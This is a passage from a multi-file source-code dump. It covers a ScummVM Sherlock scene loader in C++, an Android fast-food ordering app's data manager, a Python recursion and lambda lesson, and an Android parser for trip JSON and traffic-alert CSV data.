roomStream->seek(header3DO_bgGraphicData_offset + header3DO_bgGraphicData_size);
for (uint16 curCAnim = 0; curCAnim < header3DO_numAnimations; curCAnim++) {
cAnimOffset = roomStream->readUint32BE();
if (cAnimOffset >= roomStreamSize)
error("loadScene: 3DO cAnim entry offset points outside of room file");
*cAnimOffsetPtr = cAnimOffset;
cAnimOffsetPtr++;
}
// Go to the start of the cAnimOffsetTable
cAnimOffsetPtr = cAnimOffsetTablePtr;
_cAnim.resize(header3DO_numAnimations);
for (uint idx = 0; idx < _cAnim.size(); ++idx) {
_cAnim[idx].load3DO(*cAnimStream, *cAnimOffsetPtr);
cAnimOffsetPtr++;
}
delete cAnimStream;
delete[] cAnimOffsetTablePtr;
}
// === BOUNDING AREAS === Read in the room bounding areas
int roomBoundingCount = header3DO_roomBounding_size / 12;
uint32 expected3DO_roomBounding_size = roomBoundingCount * 12;
if (expected3DO_roomBounding_size != header3DO_roomBounding_size)
error("loadScene: 3DO roomBounding size mismatch");
roomStream->seek(header3DO_roomBounding_offset);
_zones.resize(roomBoundingCount);
for (uint idx = 0; idx < _zones.size(); ++idx) {
_zones[idx].left = roomStream->readSint16BE();
_zones[idx].top = roomStream->readSint16BE();
_zones[idx].setWidth(roomStream->readSint16BE() + 1);
_zones[idx].setHeight(roomStream->readSint16BE() + 1);
roomStream->skip(4); // skip UINT32
}
// === WALK DIRECTORY === Load the walk directory
uint32 expected3DO_walkDirectory_size = _zones.size() * _zones.size() * 2;
if (expected3DO_walkDirectory_size != header3DO_walkDirectory_size)
error("loadScene: 3DO walkDirectory size mismatch");
roomStream->seek(header3DO_walkDirectory_offset);
assert(_zones.size() < MAX_ZONES);
for (uint idx1 = 0; idx1 < _zones.size(); ++idx1) {
for (uint idx2 = 0; idx2 < _zones.size(); ++idx2)
_walkDirectory[idx1][idx2] = roomStream->readSint16BE();
}
// === WALK DATA === Read in the walk data
roomStream->seek(header3DO_walkData_offset);
int startPos = roomStream->pos();
while ((roomStream->pos() - startPos) < (int)header3DO_walkData_size) {
_walkPoints.push_back(WalkArray());
_walkPoints[_walkPoints.size() - 1]._fileOffset = roomStream->pos() - startPos;
_walkPoints[_walkPoints.size() - 1].load(*roomStream, false);
}
// Translate the file offsets of the walk directory to indexes in the loaded walk data
for (uint idx1 = 0; idx1 < _zones.size(); ++idx1) {
for (uint idx2 = 0; idx2 < _zones.size(); ++idx2) {
int fileOffset = _walkDirectory[idx1][idx2];
if (fileOffset == -1)
continue;
uint dataIndex = 0;
while (dataIndex < _walkPoints.size() && _walkPoints[dataIndex]._fileOffset != fileOffset)
++dataIndex;
assert(dataIndex < _walkPoints.size());
_walkDirectory[idx1][idx2] = dataIndex;
}
}
// === EXITS === Read in the exits
roomStream->seek(header3DO_exits_offset);
int exitsCount = header3DO_exits_size / 20;
_exits.resize(exitsCount);
for (int idx = 0; idx < exitsCount; ++idx)
_exits[idx].load3DO(*roomStream);
// === ENTRANCE === Read in the entrance
if (header3DO_entranceData_size != 8)
error("loadScene: 3DO entranceData size mismatch");
roomStream->seek(header3DO_entranceData_offset);
_entrance.load3DO(*roomStream);
// === SOUND LIST === Initialize sound list
roomStream->seek(header3DO_soundList_offset);
_sounds.resize(header3DO_soundList_count);
for (int idx = 0; idx < header3DO_soundList_count; ++idx)
_sounds[idx].load3DO(*roomStream);
delete roomStream;
// === BACKGROUND PICTURE ===
// load from file rooms\[filename].bg
// it's uncompressed 15-bit RGB555 data
Common::String roomBackgroundFilename = "rooms/" + filename + ".bg";
flag = _vm->_res->exists(roomBackgroundFilename);
if (!flag)
error("loadScene: 3DO room background file not found (%s)", roomBackgroundFilename.c_str());
Common::File roomBackgroundStream;
if (!roomBackgroundStream.open(roomBackgroundFilename))
error("Could not open file - %s", roomBackgroundFilename.c_str());
int totalPixelCount = SHERLOCK_SCREEN_WIDTH * SHERLOCK_SCENE_HEIGHT;
uint16 *roomBackgroundDataPtr = NULL;
uint16 *pixelSourcePtr = NULL;
uint16 *pixelDestPtr = (uint16 *)screen._backBuffer1.getPixels();
uint16 curPixel = 0;
uint32 roomBackgroundStreamSize = roomBackgroundStream.size();
uint32 expectedBackgroundSize = totalPixelCount * 2;
// Verify file size of background file
if (expectedBackgroundSize != roomBackgroundStreamSize)
error("loadScene: 3DO room background file not expected size");
roomBackgroundDataPtr = new uint16[totalPixelCount];
roomBackgroundStream.read(roomBackgroundDataPtr, roomBackgroundStreamSize);
roomBackgroundStream.close();
// Convert data from RGB555 to RGB565
pixelSourcePtr = roomBackgroundDataPtr;
for (int pixels = 0; pixels < totalPixelCount; pixels++) {
curPixel = READ_BE_UINT16(pixelSourcePtr++);
byte curPixelRed = (curPixel >> 10) & 0x1F;
byte curPixelGreen = (curPixel >> 5) & 0x1F;
byte curPixelBlue = curPixel & 0x1F;
*pixelDestPtr = ((curPixelRed << 11) | (curPixelGreen << 6) | (curPixelBlue));
pixelDestPtr++;
}
delete[] roomBackgroundDataPtr;
#if 0
// code to show the background
screen.blitFrom(screen._backBuffer1);
_vm->_events->wait(10000);
#endif
// Backup the image
screen._backBuffer2.blitFrom(screen._backBuffer1);
}
// Handle drawing any on-screen interface
ui.drawInterface();
checkSceneStatus();
if (!saves._justLoaded) {
for (uint idx = 0; idx < _bgShapes.size(); ++idx) {
if (_bgShapes[idx]._type == HIDDEN && _bgShapes[idx]._aType == TALK_EVERY)
_bgShapes[idx].toggleHidden();
}
// Check for TURNON objects
for (uint idx = 0; idx < _bgShapes.size(); ++idx) {
if (_bgShapes[idx]._type == HIDDEN && (_bgShapes[idx]._flags & TURNON_OBJ))
_bgShapes[idx].toggleHidden();
}
// Check for TURNOFF objects
for (uint idx = 0; idx < _bgShapes.size(); ++idx) {
if (_bgShapes[idx]._type != HIDDEN && (_bgShapes[idx]._flags & TURNOFF_OBJ) &&
_bgShapes[idx]._type != INVALID)
_bgShapes[idx].toggleHidden();
if (_bgShapes[idx]._type == HIDE_SHAPE)
// Hiding isn't needed, since objects aren't drawn yet
_bgShapes[idx]._type = HIDDEN;
}
}
checkSceneFlags(false);
checkInventory();
// Handle starting any music for the scene
if (IS_SERRATED_SCALPEL && music._musicOn && music.loadSong(_currentScene))
music.startSong();
// Load walking images if not already loaded
people.loadWalk();
// Transition to the scene and setup entrance co-ordinates and animations
transitionToScene();
// Player has not yet walked in this scene
_walkedInScene = false;
saves._justLoaded = false;
events.clearEvents();
return flag;
}
void Scene::loadSceneSounds() {
Sound &sound = *_vm->_sound;
for (uint idx = 0; idx < _sounds.size(); ++idx)
sound.loadSound(_sounds[idx]._name, _sounds[idx]._priority);
}
void Scene::checkSceneStatus() {
if (_sceneStats[_currentScene][MAX_BGSHAPES]) {
for (int idx = 0; idx < MAX_BGSHAPES; ++idx) {
bool flag = _sceneStats[_currentScene][idx];
if (idx < (int)_bgShapes.size()) {
Object &obj = _bgShapes[idx];
if (flag) {
// No shape to erase, so flag as hidden
obj._type = HIDDEN;
} else if (obj._images == nullptr || obj._images->size() == 0) {
// No shape
obj._type = NO_SHAPE;
} else {
obj._type = ACTIVE_BG_SHAPE;
}
} else {
// Finished checks
return;
}
}
}
}
void Scene::saveSceneStatus() {
// Flag any objects for the scene that have been altered
int count = MIN((int)_bgShapes.size(), MAX_BGSHAPES);
for (int idx = 0; idx < count; ++idx) {
Object &obj = _bgShapes[idx];
_sceneStats[_currentScene][idx] = obj._type == HIDDEN || obj._type == REMOVE
|| obj._type == HIDE_SHAPE || obj._type == INVALID;
}
// Flag scene as having been visited
_sceneStats[_currentScene][MAX_BGSHAPES] = true;
}
void Scene::checkSceneFlags(bool flag) {
SpriteType mode = flag ? HIDE_SHAPE : HIDDEN;
for (uint idx = 0; idx < _bgShapes.size(); ++idx) {
Object &o = _bgShapes[idx];
bool objectFlag = true;
if (o._requiredFlag[0] || o._requiredFlag[1]) {
if (o._requiredFlag[0] != 0)
objectFlag = _vm->readFlags(o._requiredFlag[0]);
if (o._requiredFlag[1] != 0)
objectFlag &= _vm->readFlags(o._requiredFlag[1]);
if (!objectFlag) {
// Kill object
if (o._type != HIDDEN && o._type != INVALID) {
if (o._images == nullptr || o._images->size() == 0)
// No shape to erase, so flag as hidden
o._type = HIDDEN;
else
// Flag it as needing to be hidden after first erasing it
o._type = mode;
}
} else if (IS_ROSE_TATTOO || o._requiredFlag[0] > 0) {
// Restore object
if (o._images == nullptr || o._images->size() == 0)
o._type = NO_SHAPE;
else
o._type = ACTIVE_BG_SHAPE;
}
}
}
// Check inventory for items to remove based on flag changes
for (int idx = 0; idx < _vm->_inventory->_holdings; ++idx) {
InventoryItem &ii = (*_vm->_inventory)[idx];
if (ii._requiredFlag && !_vm->readFlags(ii._requiredFlag)) {
// Kill object: move it after the active holdings
InventoryItem tempItem = (*_vm->_inventory)[idx];
_vm->_inventory->insert_at(_vm->_inventory->_holdings, tempItem);
_vm->_inventory->remove_at(idx);
_vm->_inventory->_holdings--;
}
}
// Check inactive inventory items for ones to reactivate based on flag changes
for (uint idx = _vm->_inventory->_holdings; idx < _vm->_inventory->size(); ++idx) {
InventoryItem &ii = (*_vm->_inventory)[idx];
if (ii._requiredFlag && _vm->readFlags(ii._requiredFlag)) {
// Restore object: move it after the active holdings
InventoryItem tempItem = (*_vm->_inventory)[idx];
_vm->_inventory->remove_at(idx);
_vm->_inventory->insert_at(_vm->_inventory->_holdings, tempItem);
_vm->_inventory->_holdings++;
}
}
}
void Scene::checkInventory() {
for (uint shapeIdx = 0; shapeIdx < _bgShapes.size(); ++shapeIdx) {
for (int invIdx = 0; invIdx < _vm->_inventory->_holdings; ++invIdx) {
if (_bgShapes[shapeIdx]._name.equalsIgnoreCase((*_vm->_inventory)[invIdx]._name)) {
_bgShapes[shapeIdx]._type = INVALID;
break;
}
}
}
}
void Scene::transitionToScene() {
People &people = *_vm->_people;
SaveManager &saves = *_vm->_saves;
Screen &screen = *_vm->_screen;
Talk &talk = *_vm->_talk;
Point32 &hSavedPos = people._savedPos;
int &hSavedFacing = people._savedPos._facing;
if (hSavedPos.x < 1) {
// No exit information from last scene-check entrance info
if (_entrance._startPosition.x < 1) {
// No entrance info either, so use defaults
if (IS_SERRATED_SCALPEL) {
hSavedPos = Point32(160 * FIXED_INT_MULTIPLIER, 100 * FIXED_INT_MULTIPLIER);
hSavedFacing = 4;
} else {
hSavedPos = people[HOLMES]._position;
hSavedFacing = people[HOLMES]._sequenceNumber;
}
} else {
// setup entrance info
hSavedPos.x = _entrance._startPosition.x * FIXED_INT_MULTIPLIER;
hSavedPos.y = _entrance._startPosition.y * FIXED_INT_MULTIPLIER;
if (IS_SERRATED_SCALPEL) {
hSavedPos.x /= 100;
hSavedPos.y /= 100;
}
hSavedFacing = _entrance._startDir;
}
} else {
// Exit information exists, translate it to real sequence info
// Note: If a savegame was just loaded, then the data is already correct.
// Otherwise, this is a linked scene or entrance info, and must be translated
if (hSavedFacing < 8 && !saves._justLoaded) {
if (IS_ROSE_TATTOO)
hSavedFacing = Tattoo::FS_TRANS[hSavedFacing];
else
hSavedFacing = Scalpel::FS_TRANS[hSavedFacing];
hSavedPos.x *= FIXED_INT_MULTIPLIER;
hSavedPos.y *= FIXED_INT_MULTIPLIER;
}
}
int cAnimNum = -1;
if (!saves._justLoaded) {
if (hSavedFacing < 101) {
// Standard info, so set it
people[HOLMES]._position = hSavedPos;
people[HOLMES]._sequenceNumber = hSavedFacing;
} else {
// It's canimation information
cAnimNum = hSavedFacing - 101;
}
}
// Reset positioning for next load
hSavedPos = Common::Point(-1, -1);
hSavedFacing = -1;
if (cAnimNum != -1) {
// Prevent Holmes from being drawn
people[HOLMES]._position = Common::Point(0, 0);
}
// If the scene is capable of scrolling, set the current scroll so that whoever has control
// of the scroll code is in the middle of the screen
if (screen._backBuffer1.w() > SHERLOCK_SCREEN_WIDTH)
people[people._walkControl].centerScreenOnPerson();
for (uint objIdx = 0; objIdx < _bgShapes.size(); ++objIdx) {
Object &obj = _bgShapes[objIdx];
if (obj._aType > 1 && obj._type != INVALID && obj._type != HIDDEN) {
Common::Point topLeft = obj._position;
Common::Point bottomRight;
if (obj._type != NO_SHAPE) {
topLeft += obj._imageFrame->_offset;
bottomRight.x = topLeft.x + obj._imageFrame->_frame.w;
bottomRight.y = topLeft.y + obj._imageFrame->_frame.h;
} else {
bottomRight = topLeft + obj._noShapeSize;
}
if (Common::Rect(topLeft.x, topLeft.y, bottomRight.x, bottomRight.y).contains(
Common::Point(people[HOLMES]._position.x / FIXED_INT_MULTIPLIER,
people[HOLMES]._position.y / FIXED_INT_MULTIPLIER))) {
// Current point is already inside box - impact occurred on
// a previous call. So simply do nothing except talk until the
// player is clear of the box
switch (obj._aType) {
case FLAG_SET:
for (int useNum = 0; useNum < USE_COUNT; ++useNum) {
if (obj._use[useNum]._useFlag) {
if (!_vm->readFlags(obj._use[useNum]._useFlag))
_vm->setFlags(obj._use[useNum]._useFlag);
}
if (!talk._talkToAbort) {
for (int nameIdx = 0; nameIdx < NAMES_COUNT; ++nameIdx) {
toggleObject(obj._use[useNum]._names[nameIdx]);
}
}
}
obj._type = HIDDEN;
break;
default:
break;
}
}
}
}
updateBackground();
// Actually do the transition
if (screen._fadeStyle) {
if (!IS_3DO) {
// do pixel-transition for PC
screen.randomTransition();
} else {
// fade in for 3DO
screen.clear();
screen.fadeIntoScreen3DO(3);
}
} else {
screen.slamArea(screen._currentScroll.x, screen._currentScroll.y, SHERLOCK_SCREEN_WIDTH, SHERLOCK_SCREEN_HEIGHT);
}
screen.update();
// Start any initial animation for the scene
if (cAnimNum != -1) {
CAnim &c = _cAnim[cAnimNum];
PositionFacing pt = c._goto[0];
c._goto[0].x = c._goto[0].y = -1;
people[HOLMES]._position = Common::Point(0, 0);
startCAnim(cAnimNum, 1);
c._goto[0] = pt;
}
}
int Scene::toggleObject(const Common::String &name) {
int count = 0;
for (uint idx = 0; idx < _bgShapes.size(); ++idx) {
if (name.equalsIgnoreCase(_bgShapes[idx]._name)) {
++count;
_bgShapes[idx].toggleHidden();
}
}
return count;
}
void Scene::updateBackground() {
People &people = *_vm->_people;
// Update Holmes if he's turned on
for (int idx = 0; idx < MAX_CHARACTERS; ++idx) {
if (people[idx]._type == CHARACTER)
people[idx].adjustSprite();
}
// Flag the bg shapes which need to be redrawn
checkBgShapes();
// Draw the shapes for the scene
drawAllShapes();
}
Exit *Scene::checkForExit(const Common::Rect &r) {
for (uint idx = 0; idx < _exits.size(); ++idx) {
if (_exits[idx].intersects(r))
return &_exits[idx];
}
return nullptr;
}
int Scene::checkForZones(const Common::Point &pt, int zoneType) {
int matches = 0;
for (uint idx = 0; idx < _bgShapes.size(); ++idx) {
Object &o = _bgShapes[idx];
if ((o._aType == zoneType && o._type != INVALID) && o._type != HIDDEN) {
Common::Rect r = o._type == NO_SHAPE ? o.getNoShapeBounds() : o.getNewBounds();
if (r.contains(pt)) {
++matches;
o.setFlagsAndToggles();
_vm->_talk->talkTo(o._use[0]._target);
}
}
}
return matches;
}
int Scene::whichZone(const Common::Point &pt) {
for (uint idx = 0; idx < _zones.size(); ++idx) {
if (_zones[idx].contains(pt))
return idx;
}
return -1;
}
void Scene::synchronize(Serializer &s) {
if (s.isSaving())
saveSceneStatus();
if (s.isSaving()) {
s.syncAsSint16LE(_currentScene);
} else {
s.syncAsSint16LE(_goToScene);
_loadingSavedGame = true;
}
for (int sceneNum = 1; sceneNum < SCENES_COUNT; ++sceneNum) {
for (int flag = 0; flag <= MAX_BGSHAPES; ++flag) {
s.syncAsByte(_sceneStats[sceneNum][flag]);
}
}
}
void Scene::checkBgShapes() {
People &people = *_vm->_people;
Person &holmes = people[HOLMES];
Common::Point pt(holmes._position.x / FIXED_INT_MULTIPLIER, holmes._position.y / FIXED_INT_MULTIPLIER);
// Iterate through the shapes
for (uint idx = 0; idx < _bgShapes.size(); ++idx) {
Object &obj = _bgShapes[idx];
if (obj._type == ACTIVE_BG_SHAPE || (IS_SERRATED_SCALPEL && obj._type == STATIC_BG_SHAPE)) {
if ((obj._flags & 5) == 1) {
obj._misc = (pt.y < (obj._position.y + obj.frameHeight() - 1)) ?
NORMAL_FORWARD : NORMAL_BEHIND;
} else if (!(obj._flags & OBJ_BEHIND)) {
obj._misc = BEHIND;
} else if (obj._flags & OBJ_FORWARD) {
obj._misc = FORWARD;
}
}
}
}
} // End of namespace Sherlock
| gpl-2.0 |
giancar70/AppBembos | AppBembos/src/com/example/appbembos/manager/ManagerAppBembos.java | 8627 | package com.example.appbembos.manager;
import java.util.ArrayList;
import java.util.List;
import android.content.Context;
import android.content.SharedPreferences;
import android.util.Log;
import com.example.appbembos.model.bean.Config;
import com.example.appbembos.model.bean.DetailCombo;
import com.example.appbembos.model.bean.DetailPedido;
import com.example.appbembos.model.bean.Pedido;
import com.example.appbembos.model.bean.Producto;
import com.example.appbembos.model.bean.Sucursal;
import com.example.appbembos.model.bean.TypeProduct;
import com.example.appbembos.model.bean.Usuario;
public class ManagerAppBembos {
public static ManagerAppBembos managerAppBembos = new ManagerAppBembos();
public static ManagerAppBembos getInstance() {
return managerAppBembos;
}
public static int posMenu = 9;
public static final String SHARED_PREFERENCE_GLOBAL = "GLOBAL";
public static final String PREF_FIELD_FIRST = "first";
public static final String EMPTY_VALUE = "";
public static final String TAG = "AppBembos";
public String getUserId(Context context) {
SharedPreferences preferences = context
.getSharedPreferences(
ManagerAppBembos.SHARED_PREFERENCE_GLOBAL,
Context.MODE_PRIVATE);
String sessionId = preferences
.getString(ManagerAppBembos.PREF_FIELD_FIRST,
ManagerAppBembos.EMPTY_VALUE);
return sessionId;
}
public void setUserId(Context context, String id) {
SharedPreferences preferences = context
.getSharedPreferences(
ManagerAppBembos.SHARED_PREFERENCE_GLOBAL,
Context.MODE_PRIVATE);
SharedPreferences.Editor editor = preferences.edit();
editor.putString(ManagerAppBembos.PREF_FIELD_FIRST, id);
editor.commit();
}
public void initDataBase(Context mContext) {
List<TypeProduct> mlistType = new ArrayList<TypeProduct>();
mlistType.add(new TypeProduct(0l, "Combo"));
mlistType.add(new TypeProduct(1l, "Bebida"));
mlistType.add(new TypeProduct(2l, "Hamburguesa"));
mlistType.add(new TypeProduct(3l, "Integrales"));
mlistType.add(new TypeProduct(4l, "Plato"));
mlistType.add(new TypeProduct(5l, "Complementos"));
ManagerAppBembos.getInstance()
.saveListTypeProducts(mContext, mlistType);
List<Producto> mlistProduct = new ArrayList<Producto>();
mlistProduct.add(new Producto(0l, 0l, "GASEOSA PEPSI REGULAR", 4.00,
false, "Bebida", "REGULAR", 2));
mlistProduct.add(new Producto(1l, 1l, "GASEOSA PEPSI MEDIANA", 7.00,
false, "Bebida", "MEDIANA", 2));
mlistProduct.add(new Producto(2l, 2l, "BEMBOS CLASICA ", 3.50, false,
"Hamburguesa", "REGULAR", 2));
mlistProduct.add(new Producto(3l, 3l, "BEMBOS CLASICA ", 7.00, false,
"Hamburguesa", "MEDIANA", 2));
mlistProduct.add(new Producto(4l, 4l, "BEMBOS MEXICANA", 14.00, false,
"Hamburguesa", "GRANDE", 2));
mlistProduct.add(new Producto(5l, 5l, "CHICKEN CARIBEA", 15.00, false,
"Integrales", "NORMAL", 2));
mlistProduct.add(new Producto(6l, 6l, "BURGER CARINEA", 15.00, false,
"Integrales", "NORMAL", 2));
mlistProduct.add(new Producto(7l, 7l, "BURGER ORDER", 14.00, false,
"Plato", "NORMAL", 2));
mlistProduct.add(new Producto(8l, 8l, "BURGER ORDER REJILLA", 14.00,
false, "Plato", "NORMAL", 2));
mlistProduct.add(new Producto(9l, 9l, "PAPAS FRITAS REGULAR", 4.00,
false, "Complementos", "REGULAR", 2));
mlistProduct.add(new Producto(10l, 10l, "COMBO CLASICA", 12.90, true,
"Combo", "", 2));
mlistProduct.add(new Producto(11l, 11l, "PROMO TRIPLE MEXICANA", 39.90,
true, "Combo", "", 2));
ManagerAppBembos.getInstance().saveListProducts(mContext, mlistProduct);
}
/*************** SUCURSAL *******************/
public List<Sucursal> getSucursales(Context mContext) {
List<Sucursal> mList = new ArrayList<Sucursal>();
Sucursal suc = new Sucursal(0l, 0l, "La molina - Fontana",
"Av molina lt 11", "A", "-12.074374926848918",
"-76.95573625278928");
Sucursal suc1 = new Sucursal(1l, 1l, "Lima modulo plaza vea",
"Av molina lt 11", "A", "-12.091423040375108",
"-76.9504093856857");
Sucursal suc2 = new Sucursal(2l, 2l, "Surco - Caminos del inca",
"Av molina lt 11", "A", "-12.14838439276576",
"-76.98657471336975");
Sucursal suc3 = new Sucursal(3l, 3l, "Surco - Gardenias",
"Av molina lt 11", "A", "-12.113117100901475",
"-76.99223579367066");
mList.add(suc);
mList.add(suc1);
mList.add(suc2);
mList.add(suc3);
// ManagerAppBembos.getInstance().saveSucursales(mContext, mList);
return ManagerDataBase.getInstance().getSucursales(mContext);
}
public Sucursal getSucursal(Context mContext, Long idSucursal) {
return ManagerDataBase.getInstance().getSucursal(mContext, idSucursal);
}
public void saveSucursales(Context mContext, List<Sucursal> mList) {
ManagerDataBase.getInstance().saveSucursales(mContext, mList);
}
/*************** Type of product & product *******************/
public List<Producto> getProductsFromType(Context mContext,
String tipoProducto) {
List<Producto> mList = new ArrayList<Producto>();
if (tipoProducto.equalsIgnoreCase("Combo")) {
// TODO get lista de combos
mList = ManagerDataBase.getInstance().getListProducts(mContext,
true, tipoProducto);
} else {
// TODO get lista de productos.
mList = ManagerDataBase.getInstance().getListProducts(mContext,
false, tipoProducto);
}
return mList;
}
public List<TypeProduct> getListTypeProducts(Context mContext) {
return ManagerDataBase.getInstance().getListTypeProducts(mContext);
}
public void saveListTypeProducts(Context mContext, List<TypeProduct> mlist) {
ManagerDataBase.getInstance().saveListTypeProducts(mContext, mlist);
}
public void saveListProducts(Context mContext, List<Producto> mlist) {
ManagerDataBase.getInstance().saveListProducts(mContext, mlist);
}
public Producto getProducto(Context mContext, Long idProduct) {
return ManagerDataBase.getInstance().getProducto(mContext, idProduct);
}
public void clearData(Context mContext) {
ManagerDataBase.getInstance().clearData(mContext);
}
public Usuario getUserData(Context mContext) {
return ManagerDataBase.getInstance().getUserData(mContext);
}
public void saveUserData(Context mContext, Usuario user) {
ManagerDataBase.getInstance().saveUserData(mContext, user);
}
public void saveListDetailCombo(Context mContext, List<DetailCombo> mlist) {
ManagerDataBase.getInstance().saveListDetailCombo(mContext, mlist);
}
public String getNameProduct(Context mContext, Long idProducto, Boolean isCombo) {
return ManagerDataBase.getInstance().getNameProduct(mContext,
idProducto, isCombo);
}
public List<DetailCombo> getDetailCombo(Context mContext, Long prod_id) {
return ManagerDataBase.getInstance().getDetailCombo(mContext, prod_id);
}
public Pedido getPedidoActual(Context mContext) {
return ManagerDataBase.getInstance().getPedidoActual(mContext);
}
public void updatePedido(Context mContext, Pedido pedActual) {
ManagerDataBase.getInstance().updatePedido(mContext, pedActual);
}
public DetailPedido getDetailPedido(Context mContext, Long idProduct,
Long idPedido) {
return ManagerDataBase.getInstance().getDetailPedido(mContext,
idProduct, idPedido);
}
public void updateDetailPedido(Context mContext, DetailPedido det) {
ManagerDataBase.getInstance().updateDetailPedido(mContext, det);
}
public void deletePedido(Context mContext, Pedido pedActual) {
ManagerDataBase.getInstance().deletePedido(mContext, pedActual);
}
public List<DetailPedido> getListDetailPedido(Context mContext,
Long idPedido) {
return ManagerDataBase.getInstance().getListDetailPedido(mContext,
idPedido);
}
public Config getConfig(Context mContext) {
return ManagerDataBase.getInstance().getConfig(mContext);
}
public void setConfig(Context mContext, Config conf) {
ManagerDataBase.getInstance().setConfig(mContext, conf);
}
public void saveListPedido(Context mContext, List<Pedido> mList) {
ManagerDataBase.getInstance().saveListPedido(mContext, mList);
}
public List<Pedido> getListPedido(Context mContext) {
return ManagerDataBase.getInstance().getListPedido(mContext);
}
public void saveListDetailPedido(Context mContext, List<DetailPedido> mlist) {
ManagerDataBase.getInstance().saveListDetailPedido(mContext, mlist);
}
public List<DetailPedido> getListDetailPedido(Context mContext) {
return ManagerDataBase.getInstance().getListDetailPedido(mContext);
}
public Producto getProducto(Context mContext, Long idProducto,
Boolean isCombo) {
return ManagerDataBase.getInstance().getProducto(mContext, idProducto,
isCombo);
}
}
| gpl-2.0 |
yehnan/python_book_yehnan | ch06/ch06_lambda_long.py | 593 |
li = [30, 41, 52, 63]
def sum(li):
result = 0
for x in li:
result += x
return result
print(sum(li))
def sum(li):
if not li:
return 0
else:
return li[0] + sum(li[1:])
print(sum(li))
(lambda li: [print(x) for x in li])(li)
print((lambda li:
(lambda f, r, li: f(f, r, li))
(lambda f, r, li: f(f, r+li[0], li[1:]) if li else r, 0, li))
(li))
print((lambda li:
(lambda f, r, i: f(f, r, i))
(lambda f, r, i: f(f, r+li[i], i+1) if i < len(li) else r, 0, 0))
(li))
| gpl-2.0 |
linusmotu/Viaje | ViajeUi/src/com/atlach/trafficdataloader/TripDataParser.java | 10722 | package com.atlach.trafficdataloader;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.text.NumberFormat;
import java.text.ParsePosition;
import java.util.ArrayList;
import java.util.List;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import com.atlach.trafficdataloader.TripInfo.Route;
import com.example.otpxmlgetterUI.UtilsUI;
import com.google.android.gms.maps.model.LatLng;
import android.content.Context;
import android.util.Log;
/* Short Desc: Parses JSON trip data into a TripInfo object */
public class TripDataParser {
@SuppressWarnings("unused")
private Context _context = null;
public static final int ROUTE_DIR_UNKNOWN = 0;
public static final int ROUTE_NORTHBOUND = 1;
public static final int ROUTE_SOUTHBOUND = 2;
public TripDataParser(Context c) {
_context = c;
}
/** PUBLIC FUNCTIONS **/
public TripInfo getTripInfoFromUrl(String urlStr) {
InputStream tripUrlStream = null;
String tripFileStr = "";
try {
HttpClient httpclient = new DefaultHttpClient();
HttpGet get = new HttpGet(urlStr);
//if header is not set, response is in json format
get.setHeader("Accept", "application/json");
HttpResponse response = httpclient.execute(get);
tripUrlStream = response.getEntity().getContent();
} catch (Exception e) {
Log.e("[GET REQUEST]", "Network exception", e);
return null;
}
/* Store Trip URL response into a string */
tripFileStr = this.getStringFromInputStream(tripUrlStream);
/* Close our file stream */
try {
tripUrlStream.close();
} catch (IOException e) {
e.printStackTrace();
}
/* Parse JSON format TripFile contents and return */
return parseTripInfoFromJSON(tripFileStr);
}
public TripInfo getTripInfoFromFile(String filePath, String fileName) throws FileNotFoundException {
File tripFile = new File(filePath, fileName);
if (tripFile.exists() == false) {
System.out.println("File does not exist");
return null;
}
FileInputStream tripFileStream = new FileInputStream(tripFile);
String tripFileStr = "";
/* Store TripFile contents into a string */
tripFileStr = this.getStringFromInputStream(tripFileStream);
/* Close our file stream */
try {
tripFileStream.close();
} catch (IOException e) {
e.printStackTrace();
}
/* Parse JSON format TripFile contents and return */
return parseTripInfoFromJSON(tripFileStr);
}
public ArrayList<TrafficAlert> getTrafficAlertInfoFromFile(String filePath, String fileName) throws FileNotFoundException {
File alertFile = new File(filePath, fileName);
if (alertFile.exists() == false) {
System.out.println("File does not exist");
return null;
}
/* Parse JSON format alertFile contents and return */
return parseAlertInfoFromCSV(alertFile);
}
public static List<LatLng> getLatLngCoordList(TripInfo tripInfo, int tripId) {
List<LatLng> tripCoordList = new ArrayList<LatLng>();
for (int j = 0; j < tripInfo.trips.get(tripId).routes.size(); j++) {
Route route = tripInfo.trips.get(tripId).routes.get(j);
tripCoordList.addAll(TrafficDataManager.decodePolyToLatLng(route.points));
}
return tripCoordList;
}
public static int getRouteDirectionality(Route route) {
if (route == null) {
System.out.println("Could not determine route directionality!");
return ROUTE_DIR_UNKNOWN;
}
List<LatLng> decodedRoute = TrafficDataManager.decodePolyToEndpoints(route.points);
if (decodedRoute == null) {
System.out.println("Could not determine route directionality!");
return ROUTE_DIR_UNKNOWN;
}
int firstElem = 0;
int lastElem = decodedRoute.size() - 1;
if (firstElem == lastElem) {
System.out.println("Could not determine route directionality!");
return ROUTE_DIR_UNKNOWN;
}
double diff = decodedRoute.get(lastElem).latitude - decodedRoute.get(firstElem).latitude;
if (diff > 0) {
return ROUTE_NORTHBOUND;
}
return ROUTE_SOUTHBOUND;
}
/** PRIVATE FUNCTIONS **/
private String getStringFromInputStream(InputStream inStream) {
String line = "";
StringBuilder total = new StringBuilder();
// Wrap a BufferedReader around the InputStream
BufferedReader rd = new BufferedReader(new InputStreamReader(inStream));
// Read response until the end
try {
while ((line = rd.readLine()) != null) {
total.append(line);
}
} catch (IOException e) {
}
return total.toString();
}
private ArrayList<TrafficAlert> parseAlertInfoFromCSV(File csvFile) throws FileNotFoundException {
@SuppressWarnings("unused") /* TODO: Unused for now. Will do something with this later, I assume? */
ArrayList<String> values = new ArrayList<String>();
ArrayList<TrafficAlert> alertList = new ArrayList<TrafficAlert>();
//InputStream is = getAssets().open("alerts.txt");
//BufferedReader br = new BufferedReader(new InputStreamReader(is, "UTF-8"));
BufferedReader br = new BufferedReader(new FileReader(csvFile));
try {
String line;
while ((line = br.readLine()) != null) {
line=line.replaceAll(",,", ",***,");
String[] RowData = line.split(",");
//because not all rows are equal, remove extraneous. (kasalanan na ng mmda yan)
if(RowData.length == 9) {
for(int i = 0; i < RowData.length; i++)
{
if(isNumeric(RowData[7])) {
LatLng coordinates = new LatLng(Double.parseDouble(RowData[7]), Double.parseDouble(RowData[8]));
alertList.add(new TrafficAlert(RowData[0], RowData[1], RowData[2],
RowData[3], RowData[4], RowData[5],
RowData[6], coordinates));
}
}
} else {
continue;
}
}
